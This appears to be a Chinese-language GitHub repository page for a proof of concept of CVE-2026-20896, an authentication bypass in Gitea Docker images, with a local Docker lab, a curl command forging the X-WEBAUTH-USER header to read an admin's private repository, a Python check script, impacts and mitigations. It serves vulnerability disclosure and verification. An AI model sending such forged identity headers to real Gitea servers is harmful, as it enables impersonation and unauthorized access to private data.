EQSTLab/CVE-2026-20896

GitHub: EQSTLab/CVE-2026-20896

该项目是 Gitea Docker 镜像身份验证绕过漏洞 CVE-2026-20896 的 PoC 与复现环境,用于验证通过伪造标头冒充用户获取未授权访问的风险。

Stars: 1 | Forks: 0

# CVE-2026-20896:Gitea Docker 镜像身份验证绕过 PoC # 概述 **CVE-2026-20896** 是受影响的官方 Gitea Docker 镜像中存在的一个身份验证绕过漏洞。当启用反向代理身份验证时,镜像生成的 `REVERSE_PROXY_TRUSTED_PROXIES = *` 设置允许能够访问 Gitea 后端的客户端通过 `X-WEBAUTH-USER` 标头冒充现有用户。 该实验环境会创建一个名为 `gitea-admin` 的管理员并使用随机密码,并将 `CVE-2026-20896_AUTH_BYPASS_CONFIRMED` 存储在私有仓库 `gitea-admin/private-proof` 中。在不知道随机管理员密码的情况下读取该文件即可证明绕过成功。 # 受影响版本 | 类别 | 版本 | |---|---| | 存在漏洞 | 官方 `gitea/gitea` Docker 镜像 ≤ 1.26.2 | | 首个修复版本 | 1.26.3 | | 推荐版本 | 1.26.4 或更高版本 | 存在漏洞的配置要求启用反向代理身份验证,并且 Gitea 后端可直接访问,或者上游代理保留了攻击者提供的身份标头。本地复现此漏洞不需要反向代理容器。 # 环境 ``` # 构建 docker build -t cve-2026-20896-gitea-vuln . # 运行 docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln ``` 请等待几秒钟,以便 Gitea 和私有证明仓库完成初始化。 # PoC ## cURL ``` curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt ``` 成功利用漏洞将返回 `CVE-2026-20896_AUTH_BYPASS_CONFIRMED`。 ## Python ``` python poc.py http://127.0.0.1:3000 ``` 该脚本会对比未经身份验证、非管理员以及伪造的管理员请求,并在确认授权绕过后输出 `VULNERABLE`。它要求 Python 3.10 或更高版本,并且仅使用标准库。 # 影响 - 冒充已知或可猜测的 Gitea 用户 - 未经授权访问私有仓库和用户资源 - 冒充管理员账户执行管理员操作 # 缓解措施 - 升级至 Gitea 1.26.3 或更高版本;推荐 1.26.4 或更高版本。 - 将 `REVERSE_PROXY_TRUSTED_PROXIES` 限制为受信任的代理地址。 - 防止对 Gitea 后端的直接访问,并覆盖外部提供的身份标头。 - 在不需要时禁用反向代理身份验证。 # 清理 ``` docker stop cve-2026-20896-gitea-vuln ``` # 参考 - [Gitea 安全公告 GHSA-f75j-4cw6-rmx4](https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4) - [Gitea 1.26.3 和 1.26.4 发布公告](https://blog.gitea.com/release-of-1.26.3-and-1.26.4/) - [Gitea 安全修复 PR #38151](https://github.com/go-gitea/gitea/pull/38151)
标签:Cutter, Docker, Gitea, Maven, PoC, 安全漏洞, 安全防御评估, 暴力破解, 漏洞验证, 请求拦截, 身份认证绕过, 逆向工具